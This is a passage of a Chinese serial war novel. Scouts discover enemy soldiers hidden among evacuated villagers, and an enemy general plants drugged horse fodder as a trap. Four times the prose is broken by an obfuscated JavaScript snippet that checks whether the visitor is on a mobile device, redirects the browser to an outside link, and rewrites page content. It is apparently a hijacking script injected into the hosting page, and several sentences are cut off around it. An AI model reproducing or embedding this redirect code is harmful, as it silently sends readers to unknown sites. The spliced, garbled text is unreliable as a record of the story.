顾承宇起身,拍了拍身上的草屑,走到青山面前,恭敬地说道:“师父,这次西夷王长途奔袭,从王庭一路向东,粮草辎重消耗巨大。按照他以往速战速决的风格,本该一到边境就发起猛攻,可他偏偏停下来了——这不正常。根据您的刺探,只知晓西夷王中军大帐的位置,可是他的粮草、他的十万铁骑却不知隐藏在何处。十万铁骑不是小数目,人马加起来是十几万张嘴,光是喂马的黑豆一天就要吃掉几座小山。这样庞大的兵力,不可能凭空消失。这是一种危险的信号——极有可能他的十万铁骑早就出发了,在主力到达之前便分散在了边境各处,又或许早就潜入了宁国的边境,趁我们撤走百姓的时候,化整为零,散布在周围的城镇或者村庄里。再有一个可能,就是他的十万铁骑还没有到达——他在等,等那支最精锐的黑色铁骑从更远的地方赶来会合。” 青山转过头看着顾承宇,目光里闪过一丝凝重。他沉默了片刻,才缓缓说道:“这个我也有怀疑。如果铁骑已经分散潜入各村庄,那阳城关就危险了。我手下的斥候也已经去周围的城镇村庄刺探,沿着每一条山道、每一座空村逐一排查,想必很快会传来消息。” 红色的日光颜色慢慢变淡,从绯红褪成了淡金,又从淡金褪成了白亮。就在这片越来越亮的晨光里,一个瘦小的身影逆着光线朝他们飞奔而来——招财踏着晨露浸湿的草地,映入了顾承宇的眼帘。他的脚步又快又轻,像一头在草丛中穿梭的猎犬。 顾承宇快步迎上去,迫不及待地问道:“招财,情况如何?” 招财喘了口气,用袖子擦了一把额头的汗,那张瘦小的脸上满是凝重之色:“公子,我们去了方圆百里的村庄,那些村民早就被顾二将军撤走了,村子里空空荡荡的,鸡犬都不剩。可是我们在一些空空的村庄里面还是发现了一些脚印——那些脚印虽被刻意掩去,有的用扫帚拖过,有的盖了干草,但逃不过我的眼睛。我拨开干草,扫去浮土,仔细观察那些被抹去痕迹的脚印,发现根本就不是平常老百姓的脚印。百姓的脚印短而浅,走路时步幅也小,但这些脚印较长——比百姓的长出近两寸——且深,每一步都陷进泥地里,是身负重物的大脚留下的。还有,我们在村民撤走的路上,在那片大大小小、密密麻麻的脚印中,发现了一些特殊的脚印。这些特殊的脚印穿着平常百姓的草鞋,可是脚印也比常人的长,也比常人的深。草鞋是新的,边缘没有磨损。我们沿着这些脚印一路追踪,发现这些脚印都通往阳城关。” 西夷人,正是体型高大之人。他们的男子普遍比宁国百姓高出大半个头,肩宽体壮,脚上穿的即使是临时换上的草鞋,也改不了那比常人大出一截的脚掌尺寸。 青山和顾承宇的眉头同时一沉。凭借着多年斥候的直觉,两人在极短的时间内得出了同一个可怕的判断——西夷王的人早或许就潜入了西疆,散布在西疆的城镇和村庄。他们换上了宁国百姓的衣衫和草鞋,学着百姓的步态,混进了撤离的人群。 因为战争,顾恩都会下令让方圆百里的村民都撤到安全的阳城关内,西夷王的人极有可能就混在那些扶老携幼、推车赶牛的百姓中,随着人流进入了阳城关。 想到此处,两人只觉一股寒意从后脊背直窜上来,那寒意比西疆冬日的朔风还冷——西夷王这是想里应外合,利用宁国的百姓作为人肉盾牌来要挟顾家军。 一旦攻城开始,藏在城内的西夷士兵便会从内部打开城门,或者在城中制造混乱,届时阳城关腹背受敌,城中百姓便成了他手中最毒辣的人质。 此时,空中又响起一阵鸟鸣。这鸟鸣与方才招财发出的三长两短截然不同,是一长两短再加一声拖长的尾音。 青山听到这个声音,神色一凛——这是他手下的暗号。他赶紧把手放在口中,鼓足气息,发出几声短促的鸟鸣作为回应。 没多久,青山手下最厉害的斥候飞虎便如同一道影子般闪现在了青山面前。他轻功了得,在草地上几乎不留脚印,走起路来连草叶都不带晃动。飞虎额上还挂着汗珠,气息却已经调匀了,看起来就是个精明的角色,一双眼睛不大,却透着锐利的光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618731|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 青山赶紧问道:“情况如何?可有查到西夷王粮草的位置?” 飞虎拱手禀报,语速很快:“头儿,这个西夷王老贼——他趁着顾二将军和顾副将把方圆百里的村民撤走之后,那些村庄便成了空村,他便悄悄派出一支辎重队,把一部分粮草分散藏在了那些空虚的村庄里。我们摸进去看了,每个村子都藏了一些,分散得很,藏在村民的地窖里、草垛下面,甚至废弃的磨坊里,伪装得和原来没什么两样,不仔细搜查根本看不出来。” 青山眉头皱得更紧了,追问道:“还有一部分粮草呢?” 飞虎说:“还有一部分粮草就放在阴风山下西夷王的中军大帐旁边。那里守备最严,有重兵巡逻,我们没能靠得太近,但远远望见了粮草堆上盖着的油布,规模不小,足有几十垛。” 青山又问:“可有发现西夷铁骑的踪迹?” 飞虎道:“西夷王的铁骑就驻扎在西夷王中军大帐的附近,与西夷王的主力驻扎地相隔不远,大约十里地,在一片山坳里。我们趁夜摸进去仔细看了铁骑的驻地——马厩的数量、营帐的规模、篝火的灰烬,都数了一遍。按这些来推算,那些铁骑根本不足十万。目测最多五六万骑。” 青山听了,脸上的凝重又加深了一层。他缓缓说道:“根据之前刺探的军情,明明是有十万铁骑——那是我们派出了三批斥候,从不同方向、不同时间打探回来的同一个数字。如今飞虎亲眼去看,却不足十万。消息如此不确定,我估计这铁骑有可能不足十万,剩下的万骑不四五万知道去了哪里;也有可能不止十万——他藏着掖着的,也许还有一支我们没有发现的伏兵。” 顾承宇沉默了片刻,目光扫过远处那片在晨光中起伏的草原,然后沉着眸子说道:“师父,不管铁骑是多是少,现在最要紧的是两件事:第一,必须要查清楚阳城关里是否真有西夷士兵;第二,我们必须亲自去那些空村庄看看那些粮草,然后再去一趟阴风山,摸清楚西夷王剩下的铁骑到底藏在哪里。” 青山点了点头,目光在顾承宇脸上停了片刻。这个徒弟想得比他还要周全,每一步都踩在了最关键的点上。 顾承宇转向招财,语气不容置疑:“招财,你脚程最快,赶紧赶去阳城关。把你发现的脚印和所有情况原原本本告诉二叔——让他立刻在城内暗中排查那些混在百姓中的西夷士兵。告诉二叔,先不要打草惊蛇,这些人极有可能随身携带了兵器,藏在城内某个角落,一旦惊动了他们,他们会在城内制造混乱,后果不堪设想。你留在二叔身边,暗中监视那些身材高大之人,把他们的落脚点一个一个摸清楚。” 招财领命后,抱拳一礼,转身便如同一阵风般冲了出去。他那瘦小的身影在草原上飞掠而过,草叶在他身后微微晃动,不过几个呼吸的工夫,便已消失在晨光之中。 青山看着招财消失的方向,然后转过头,对着顾承宇和飞虎下令,声音沉定而利落:“人多在一起目标太大,容易被敌人的游骑发现。你和飞虎分散开来,两人各走一条路线,先去那些村庄看看情况——重点查看粮草的数量和位置,看看那些西夷士兵藏在村里的什么地方。记住,不管遇到什么情况,不要恋战,赶紧回来。我亲自再去一趟阴风山,我要摸到他的大帐跟前去看看,他究竟还有多少铁骑没有亮出来。三日后,我们在此处汇合。” 顾承宇和飞虎同时点了点头。三人互相看了一眼,没有再多说一句话——该说的都已经说了,剩下的就是各自去完成各自的任务。 片刻之后,三人分作三个方向,各自策马消失在了草原深处。晨风从草原上吹来,将他们的马蹄声卷进了无边的草浪之中。 52. 顾典愤怒,大声骂娘 乔装了的招财快马加鞭赶到了阳城关。他把那身斥候的黑衣换下,穿了一身破旧的羊皮袄子,脸上抹了几道泥,看起来就像个逃难的牧民少年。 阳城关里到处都是刚撤来的百姓——老人拄着拐杖坐在墙根下,妇人抱着孩子挤在临时搭的粥棚前排队,壮年汉子们帮着守军搬粮草、搭帐篷,满城都是嘈杂的人声和牛羊的叫声。 招财在人群中穿来穿去,眼睛像两只梭子一样在人群里扫着,终于在一处安置点找到了正在安抚百姓的顾典。他没有上前行礼,也没有开口说话,只是走到顾典面前,不紧不慢地卷起左手的袖口,露出手腕处那道寸许长的旧疤。然后他放下袖子,转身就走,混进了人群里。 顾典看见那道疤,瞳孔微微一缩,脸上的笑意丝毫未变,嘴里还在对身边的百姓说着“大家放心,粮食管够,有什么难处就去找那边的军爷”。他又在人群中周旋了片刻,吩咐手下好好安抚百姓,把几户拖家带口的人家安置妥当,然后才大模大样、若无其事地离开了安置点。他在阳城关的小巷子里绕了好几圈,穿过了三条街、两道巷,确认身后没有尾巴,才推开了一扇不起眼的木门,回到自己常住的屋子。 屋子不大,只有一间简单的卧榻,榻上的被褥叠得整整齐齐,墙上挂着一张羊皮地图。招财已在此等候,他站在窗边的阴影里,听见门响便转过身来。 顾典一进屋,反手把门闩上,招财便上前两步,压低了声音,把刺探到的消息一五一十地告诉了顾典——那些被刻意掩盖的大脚印,那些混在百姓脚印中的特殊痕迹,那些一路通往阳城关的踪迹,还有西夷王把粮草藏在空村庄里的布置。 顾典听闻,先是一惊——那双素来大大咧咧的眼睛骤然瞪圆了,随后一股怒火从胸腔直冲脑门。他张开嘴,扯开嗓子就要吼出来:“他娘的——” 招财眼疾手快,一个箭步上前,伸出双手死死捂住顾典的嘴,把他那后半截怒骂硬生生堵在了喉咙里。招财的声音又低又急:“将军,将军——切莫打草惊蛇!这阳城关里现在到处都是人,谁知道哪面墙后面就藏着一双西夷人的耳朵!” 顾典被他捂着嘴,瞪着眼睛呼哧呼哧地喘了几口气,胸膛剧烈起伏了几下,渐渐冷静下来。他示意招财松开手,然后压低了嗓音,把声音压得又沉又哑,像一头被激怒却不得不伏低身子的豹子:“他祖宗的,这帮王八犊子,竟然从老子的背后下手,从老子最不在意的地方下手!老子还以为那些百姓都是老实的庄稼人,谁知道里头夹着狼!” 此时,与顾典同龄的顾副将推门走进屋子。他是来向顾典禀报百姓安置情况的,一进门便说道:“将军,新撤来的百姓都安排好了,食物衣衫都分发到位,每家每户都领到了口粮和铺盖。百姓们也都很听指挥,没有人闹事,也没有人抱怨,安分得很。” 顾典听了,抬头看着顾副将,那团刚压下去的怒火又噌地蹿了上来。他又扯开嗓子大声吼道:“他娘的——” 招财又一个箭步上前,双手再次死死捂住顾典的嘴,声音里带着几分无奈和急切:“将军,不要打草惊蛇!您这一嗓子吼出去,半个阳城关都听见了,那些藏在百姓里的探子立马就知道咱们发现他们了!” 顾典再一次意识到自己又冲动了,又示意招财把手松开。招财松开手后,顾典深吸了一口气,把那团怒火压到胸腔最底下,压着嗓子,每一个字都像是从牙缝里磨出来的:“他娘的,安分个屁。敌人早就悄无声息地混在百姓中了。你说他们安分?那当然安分了——他们就等着咱们放松警惕,好从背后捅刀子。咱们在这儿又是发粮又是发衣,把人家伺候得舒舒服服的,人家心里头盘算的却是怎么把阳城关的城门打开!” 顾副将听了,浑身一震,难以置信地看着顾典,又转头看了看招财,声音都变了调:“什么?敌人混在百姓里?这怎么可能——我们明明挨个盘查过的……”他看向招财,“消息确切吗?” 招财点了点头,目光沉定:“不会有假。我亲眼看见了那些脚印,又大又深,□□草和扫帚盖过,但还是逃不过我的眼睛。他们换上了我们百姓的草鞋和衣衫,可他们的脚骗不了人——西夷人的脚,比我们宁国人长出近两寸。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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随后,招财与顾副将一同离开了屋子。顾副将片刻不敢耽搁,立刻从手下挑了二三十个精明的本地士兵——这些士兵都是土生土长的西疆人,会说本地方言,熟悉当地的风俗,穿上破袄子、背上铺盖卷,混进人堆里根本分辨不出来。 他们与招财一起乔装成刚撤来的百姓,分散混进了那些安置在阳城关的百姓当中。有人蹲在粥棚前捧着碗喝粥,耳朵却竖着听旁边几个陌生汉子的口音;有人在帮着搭帐篷的时候留神看对方脱鞋时的脚掌尺寸;有人则跟着几个可疑的身影在巷子里七拐八绕,记下了他们每一次的交头接耳。 而顾典则快马加鞭,一路疾驰回到了驻地。他把马鞭往马夫手里一甩,翻身下马,连铠甲都没来得及整理,便大步流星地朝着中军帐走去。 53. 顾恩又踢顾典屁股,军师劝架 中军帐里,顾恩与薛敬正在沙盘前研究八卦阵的打法。薛敬的竹竿在沙盘上画着阵型的变化路线,顾恩抱着双臂站在一旁,不时伸出手指在某一个位置点一下,两个人都沉浸在那变幻莫测的阵法推演中。 顾典一进门,便伸手解下腰间的战刀,连鞘带刀重重地放在沙盘上,刀鞘撞击沙盘边缘发出一声沉闷的巨响,震得几面小旗都跳了起来。他嘴里还大声骂道:“他娘的——竟然敢从背后算计老子!还差点被他们算计着了!” 顾恩抬起头,看着弟弟那张被怒火烧得发红的脸,眉头微微皱起,声音却依旧沉稳:“怎么了?被什么踩到尾巴了,这么愤怒。你看看你这副样子,哪还有半点将军的模样。” 顾典看着大哥,把招财刺探到的军情——西夷士兵如何换装混入百姓、那些被掩盖的大脚印如何通往阳城关、西夷王如何将粮草藏在空村庄里——原原本本地告诉了顾恩和薛敬。 顾恩和薛敬听了,都震惊不已。薛敬手中的竹竿停在了半空中,顾恩的眉头拧处三道褶子, 顾恩沉默了片刻,然后抬起头看着顾典,声音不高,却带着一种让人后背发凉的冷厉:“当初让你撤走百姓时,我是不是再三交代你必须留一个心眼?我让你派人在撤离的队伍两侧巡逻,我让你挨个检查每一个进阳城关的人——你怎么没有发现?怎么等到招财来了才发现?” 顾典听了,脸上那股怒气瞬间被羞愧取代。他低下了头,声音发闷:“是弟弟的过失。我以为我们的士兵防守严密,方圆百里都是咱们的眼线,敌人根本渗透不进来。我没想到他们会趁撤走百姓的时候混进来——那会儿人挤人、车挨车,男女老少闹哄哄的,根本分不清谁是谁。” 顾恩听了,终于发怒了。他一掌拍在沙盘上,震得顾典那把战刀都跳了一下:“你以为什么?这世上的事情,没有什么‘你以为’!有多少人、多少城池、多少场仗,毁就毁在‘你以为’这三个字上!防守再严密,也会有裂缝。敌人就如水——水漫过平地,无孔不入,一旦发现了裂缝,便会从裂缝里渗透进来,无声无息,一滴一滴。而且那裂缝会随着渗透越变越大,等到你发现的时候,堤坝已经被蛀空了。既然敌人已经混迹在了百姓当中,这说明他们早就渗透进来了——不是在百姓撤走的时候才混进来,而是在那之前就已经潜伏在村庄里,等的就是这波撤离。顾典啊顾典,我一而再再而三地交代,一定要事无巨细,任何事情不光要看到表面,还要看到内在。你那眼睛、你那心思,长到哪里去了?不要天天只想到腰下三尺——那点事用得着你天天惦记?”他越说越气,猛地转身对着门外大声喝道,“来人啊!把顾二将军给本将拖出去,重重地打五十军棍!” 军帐外的士兵听见命令,哗啦一声掀开帐帘,大步走了进来。 薛敬赶紧上前一步,挡在顾典身前,对着顾恩拱手道:“将军,大战在即,惩罚将领,这是兵家大忌!五十军棍下去,典儿还怎么骑马杀敌?再说了,敌人渗透一事虽然凶险,但幸好招财发现得及时,目前并没有造成实际的危害,现在弥补也完全来得及。再者——敌人既然已经渗透进来了,我们何不将计就计?他们以为我们不知道,我们就装作不知道;他们想里应外合,我们就反过来利用他们来传递假情报,把他们的‘里应’变成我们的‘内应’。” 顾恩听了,胸膛起伏了几下,那口怒气在薛敬的分析中渐渐压了下去。他抬起手,示意那几个已经走到顾典身边的士兵退下。士兵们立刻停住脚步,抱拳退出了帐外。顾恩又抬起脚,朝着顾典的屁股狠狠踢了一脚。这一脚力道十足,靴尖正中靶心,踢得毫不留情。 顾典捂着屁股跳了起来,龇牙咧嘴地倒吸着凉气,但自知有错在先,他咬着牙不敢说任何一句话。 顾恩转过身,看着薛敬,面色恢复了一贯的沉冷。他的声音不高,却每一个字都带着一种深沉的忧患:“阳城关百姓颇多,男女老少加起来不下数万人。敌人渗透进来,一定是想利用城中的百姓作为人质,在攻城的关键时刻用刀架在百姓的脖子上,逼迫我们的将领打开城门。如此一来,我们就如一条蛇被捏住了七寸——若打开城门,阳城关便形同虚设,敌人长驱直入,等待我们的是战败而亡;若我们不打开城门,就只能眼睁睁地看着百姓在城下死在敌人的利刀之下。倘若被朝廷里那些别有用心之人拿去做文章——说顾家军不顾百姓死活,为求一胜不惜以万民为刍狗——那我们即使仗打赢了,也失去了民心。一旦失去了民心,我们顾家军的根基便被动摇了;在朝廷之上,顾家便会成为众矢之的。” 薛敬将竹竿搁在沙盘边缘,双手负在身后,缓缓说道:“这西夷老贼,果真是好算计。这一招一石三鸟——占了阳城关,毁了顾家军的名声,还要让朝廷对我们生出猜忌。” 顾恩一拳捶在沙盘上,沙盘上的小旗齐齐一跳,几面黑色的敌旗歪倒在了沙堆上。他咬着牙,一字一顿地说道:“这个老贼,与顾家军四次交战,四次都败北。可是父亲、二弟、三弟、承明——都死在了这个老贼手里。今日他联合五部,第五次卷土重来。老子发誓——老子不仅要让这个老贼和他手下的所有将士有去无回,老子还要亲手砍下他的头颅,提着他的脑袋去关山,祭奠我的父亲,祭奠我的二弟,祭奠我的三弟,祭奠我的儿子!” 顾典听到大哥提起父亲、二哥、三哥和承明,那只还捂着屁股的手不知什么时候移到了沙盘上,紧紧握住了那把放在沙盘上的战刀。他的手背上青筋暴起,刀鞘在他掌心里微微颤动。他的眼睛泛着血红,那红色不是泪光,是燃烧的恨意,恨不得立刻跨上战马,斩下西夷王的头。 薛敬听到顾恩提起老侯爷、顾忠、顾诚和顾承明,也沉默了。他没有说话,只是低下头,把玩着手中的折扇。那折扇的竹骨被他捏得咯吱作响。那些战死沙场的顾家儿郎,他也都认识,也都曾一起在沙盘前推演阵法、在篝火旁喝过烈酒、在庆功宴上看过他们意气风发的模样。 良久,顾恩深吸了一口气,将那翻涌的情绪重新压回心底。他转过身对站在一旁沉默不语的胡风下令:“你赶紧去把各位副将叫到中军帐来,本将有命令。” 胡风领命而去,脚步急促而沉稳。 不久,顾恩麾下最得力的四大副将——钱副将、颜副将、余副将、张副将——鱼贯踏进了中军帐。这四位副将都是与顾恩一起从死人堆里爬出来的人,在战场上刀山火海都一起滚过,彼此之间有过命的交情。 而且他们都欠着顾恩一条命——有的是被顾恩从敌军包围中单枪匹马救出来的,有的是被顾恩从死人堆里背回来的,有的是顾恩在战场上用自己的后背替他挡了一刀。只要顾恩一声令下,前面即使是刀山火海,他们也会在所不辞,连眉头都不皱一下。四人走到顾恩面前,齐齐抱拳,铠甲碰撞发出一声整齐的闷响:“将军,末将来了。” 顾恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618733|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着眼前这四张勇猛而忠诚的面孔,沉声说道:“敌人早早就渗透到了西疆各处的村庄,如今那些渗透的敌人已经混迹在被撤走的村民当中,悄无声息地进了我们各个城池。你们立刻命令各自的校尉,让那些校尉在各自负责的城池里面暗中排查,必须把渗透的敌人找出来。记住——西夷人体量高大,肩膀比咱们的人宽一截;脚长,寻常宁国百姓穿的草鞋他们根本穿不进去;还有须发茂盛,西夷人习惯留络腮胡,发色比我们宁国人浅。按照这些特征去逐一排查。如果发现了目标,千万不要打草惊蛇——让他们继续以为我们没有发现他们。” 四位副将听到敌人已经渗透到了百姓之中,一个个手紧紧握住了腰间战刀的刀柄,关节捏得咔咔作响,眼里闪着愤怒的火光,像是四头被激怒的战狼。他们齐声说道,声音洪亮而坚定:“请将军放心,末将一定把那些狗娘养的一个一个揪出来!” 顾恩抬手示意他们稍安勿躁,又叮嘱道:“一定不可打草惊蛇。再有——暗中悄悄抓一个活的回来审问,看看能不能从他嘴里掏出有用的东西。西夷王这次到底带了多少铁骑,埋伏在什么位置,什么时候发起进攻,这些我们都要从俘虏嘴里撬出来。还有——事无巨细,任何细节都不能放过。你们记住,早不慎满盘皆输。” 四位副将齐声答道:“末将领命!”然后便如同来时一样,疾风一般转身离开了中军帐。 此时的中军帐里,忽然安静了下来。那安静不是祥和,是一种沉甸甸的、压在每个人心头的沉闷。顾恩转过身,目光像两道冷电一样射向顾典。他的声音不高,却每一个字都带着不可违抗的威严和一种兄长对弟弟特有的严厉:“军棍可免,死罪难逃。赶紧去给我把渗透到阳城关里的敌人全部揪出来。若是让敌人得逞,让那些百姓成了人肉盾牌,我一定亲自砍下你的头颅,然后提着它到父亲的坟墓前请罪。” 顾典站直了身子,迎着大哥的目光,铿锵有力地答道:“大哥,吃一堑长一智。弟弟一时疏忽,不代表弟弟是蠢笨之人。弟弟一定会把渗透的敌人全都找出来。如果找不出来,让阳城关的百姓做了人质——不要您提刀来砍弟弟的头,弟弟定会亲自到父亲的坟墓前,割下自己的头颅,去祭奠父亲。” 顾恩听了,大喝一声,那声音里既有兄长的威严,也有一种只有兄弟之间才懂的恨铁不成钢:“还不赶紧给我滚!” 顾典转身便走,一溜烟就消失在了中军帐的门口。他的脚步声在帐外渐渐远去,带着一种从未有过的紧迫和决绝。 中军帐里只剩下了顾恩和薛敬。沙盘上的小旗在烛火下微微晃动,帐外传来巡逻士兵整齐的脚步声。顾恩负手站在沙盘前,目光落在那座标注着“阳城关”的城池模型上,久久没有开口。 薛敬率先打破沉默,他拿起竹竿,在沙盘上轻轻点了点阳城关的位置,又点了点阴风山的方向。 他的声音缓慢而沉稳,带着一种老军师特有的审慎和精算:“将军,敌人已经渗透进来,我们却佯装不知,这便是我们的优势——西夷老贼以为我们还在明处,其实他已经在明处了。那么接下来,我们该如何将计就计?” 顾恩抬起头,那双冷峻如铁的眼睛在烛火下闪着锐利的光。他没有急着回答,只是拿起沙盘上一面红色的小旗,缓缓地插在了阳城关的城头,然后将沙盘上一面黑色的敌旗从城门口的位置抽出来,轻轻地倒插在了城外——那是伏兵的位置 54. 村庄的粮食,是精心设计的陷阱 天色刚刚暗下来,暮色从草原上漫过来,将天边最后一抹暗紫色的余光也吞没了。 顾承宇借着夜色悄悄摸进了一处较大的村庄。这处村庄建在一条干涸的河谷旁,几十座土坯房密密地挤在一起,村口那棵老榆树的叶子在夜风中沙沙作响。 他按照招财所说的,蹲在地上仔细查看,果然发现了那些被刻意隐去的脚印——上面盖着的干草被夜风吹开了边角,扫帚拖过的痕迹还在,但浮土之下,那些脚印的确较长也较深,有的只是前掌着地,看不到后跟,这是军人有的走路姿势,方便遇到紧急情况,转身做出行动。 他顺着脚印的指引摸进村民的屋舍,在坍塌了半边的土炕后面、在堆满杂物的地窖里、在废弃磨坊的碾盘底下,发现了那些隐藏的粮草。 打开一袋,里面是上好的黑色豆子,颗粒饱满,炒得喷香;再打开一袋,是精细的草料,切得整整齐齐,每一根都像是用心挑选过的。 他抓了一把黑豆放在鼻端闻了闻——这黑豆比顾家军战马吃的还要好。他看着这些草料,微微皱了皱眉,低声自语道:“难怪西夷的马匹如此健壮,竟然吃得比士兵还好。” 当他准备摸出村庄时,却忽然听见了动静。他立刻闪身躲进一处坍塌的土墙后面,后背紧紧贴着冰冷的土坯。三四个人影举着火把从村口走了进来,火把上的松脂燃烧时发出噼啪的爆裂声,橘红色的火光在土坯墙上跳动着,将那些人的影子拉得忽长忽短。其中一个人用西夷话问道,声音粗哑而警惕:“你们的确看到有人影吗?” 另一个人用西夷话回答,语气里带着几分不确定:“埋伏在此处多天了,刚才真的看到有人影闪进来。就在那片房子附近,一晃就没了。” 问话的人环顾四周,手中的火把举高了些,沉声道:“给我盯仔细些。这些粮草可是我们军队和马匹的粮食,若是没了,这一战就赢不了了。左将军怪罪下来,咱们都别想活。” 另外一个人凑近了些,压低声音问:“大人,我们把粮草藏在这种地方,是不是最不安全啊?这些村庄虽然空了,但难保不会有西疆的探子来搜查。这么多粮草,要是被他们发现了,他们不得高兴得睡不着觉啊?肯定会立马拉回驻地的。” 刚才问话的人冷笑了一声,火光在他脸上跳动,映出一张满是横肉的脸和一嘴黄牙。他伸手拍了那个手下的后脑勺一下,语气里满是自负:“你懂个屁。最危险的地方就是最安全的地方。这里的村民全都撤走了,这些破房子空空如也,方圆几十里连条野狗都没有,谁会来在乎这些?顾家军的斥候都在盯着阴风山的大营,谁有心思往这破村子里钻。放心吧,这些粮草,他们发现不了。”随后,他嘟囔的一句:“被发现了,拉回去才好呢!” 说完,几个人举着火把继续沿着村道巡视了一圈,脚步声渐渐远去,火把的光也消失在了村口的夜色之中。 暗处的顾承宇从土墙后缓缓直起身。他与西夷人打过多次交道,在战场上听过他们喊话,在俘虏口中审出过情报,刚才那些对话他自然一字不差地听懂了。 可是那一句“他们发现了拉回去才好呢”这句话让顾承宇的眉头一皱,他没有急着离开,而是又在原地等了一盏茶的工夫,确认那几个人已经走远不会再折返,才悄悄退出村庄,翻身上马,朝着下一个村庄的方向疾驰而去。 黑夜沉沉,草原上没有一丝月光。飞虎也再次摸进了其他村庄。他轻功了得,在屋檐和墙头之间无声地腾挪,把每一间屋舍、每一个地窖都翻了个遍。 可是他在这些村庄里并没有发现粮草的踪迹,那些屋舍里空荡荡的,只有被遗弃的破家具和满地的灰尘。他皱起眉头,心里暗自盘算——看来粮草只藏在特定的几个村庄里,不是每个村子都有,随即赶紧离开,回去报信。 此时的青山,趁着夜色如同一头经验丰富的老狼,正在阴风山附近刺探敌人的军情。他先是摸进了西夷王的主力驻地——那片营地规模庞大,篝火点点,哨兵如林,巡逻队交叉穿梭。 他趴在一处土坡后面,借着营中篝火的光仔细观察。他发现粮草就堆放在位于营地中心的中军帐旁边,垛成一座座小山,上面盖着厚厚的油布,压着石头防风吹开。 巡逻的队伍围绕着粮草垛来回巡视,路线交叉得没有任何死角,每隔几十步就有一名哨兵持刀而立。想要烧掉这批粮草,那真是比登天还难。 随后,他又摸到了铁骑驻地。铁骑驻地与主力驻地之间隔着一片开阔的草场,地势平坦,无处藏身。他几乎是贴着地面一寸一寸爬过去的。 铁骑驻地内,同样是将粮草堆放在中心位置的中军帐旁,周围全都是严防死守——明哨两重,暗哨不知多少,巡逻队的换岗时间卡得严丝合缝,没有半分空当可钻。想要烧掉这些粮草,同样是难于上青天。 青山趴在草丛中,眯着眼睛数着营帐和马厩的数量,在心里默默地推算着此处的铁骑规模——目测的规模确实不足十万,顶多五六万,剩下的铁骑到底藏在哪里,仍然是一个谜。 随后他离开了铁骑驻地,又悄悄摸到了西夷王的中军大帐。此处更是严防死守——大帐外立着两排身披重甲的亲卫,帐顶那面绣着金色狼头的王旗在夜风中作响。 帐中灯火通明,隐约传出说话声,但隔着厚厚的帐布听不真切。周围明暗哨交替,巡逻队的脚步声整齐而沉闷,连只苍蝇都别想飞进去。 青山伏在一处灌木丛中,一动不动地观察了许久,这次来本以为自己又是无功而返。可当他正准备悄悄撤离时,却在一棵大树后面听到了有人在低声对话。那大树树干极粗,树冠遮天蔽日,树下是一片浓重的阴影,说话的人显然以为那里足够隐蔽。 说话的人说的是西夷话,青山在边关待了半辈子,从西夷俘虏嘴里学会了一口流利的西夷话,自然也能一字不差地听懂。他屏住呼吸,将身体紧紧贴在灌木丛后面的土坡上,耳朵竖得比任何时候都尖。 此时,左将军拉杜和他的心腹正在交谈。拉杜压低声音问道:“那些藏匿在村庄里的粮草,是否已经被顾家军的斥候查到了?” 拉杜的心腹低声回答,语气里带着几分献宝似的得意:“大人,已经被查到了。我们的探子亲眼看见顾家军的斥候摸进了那几个村庄,发现了那些粮草。他们看见那么好的粮草——上好的黑豆,上好的草料,比他们自己喂马的还要好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618734|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——一定会心动,一定会禀报上去,拉回驻地的。” 拉杜笑了笑,笑声低哑而短促,像是狼在喉咙里打滚:“这样最好了。等他们把那些粮草拉回驻地,如果顾家军的马匹和士兵吃了那些粮草——那些黑豆里掺了慢性的药,不会立刻发作,但要不了多久,人和马都会四肢发软,哪里还有力气打仗?到时候他顾恩纵有通天本事,也只能眼睁睁看着自己的士兵和马匹瘫在营里。” 拉杜的心腹问,声音里带着几分谨慎:“大人,那接下来怎么办?” 拉杜说:“接下来就好好休息吧,让大家养足了精神,准备后面的大战。这一仗打完,咱们的功劳比任何一次都大——大王正面打,我们从背后推,一明一暗,顾恩就是有三头六臂也挡不住。” 拉杜的心腹沉默了片刻,然后压低了声音,语气里透出几分担忧和恐惧:“大人,若是让大王知晓您私自调度粮草,还把粮草藏在西疆的村庄里,还故意让顾家军的探子发现——以大王的心狠手辣,怕是不会轻饶了您。上回有个部落首领阳奉阴违,被大王亲手把头砍下来挂在了营门上。您这是……” 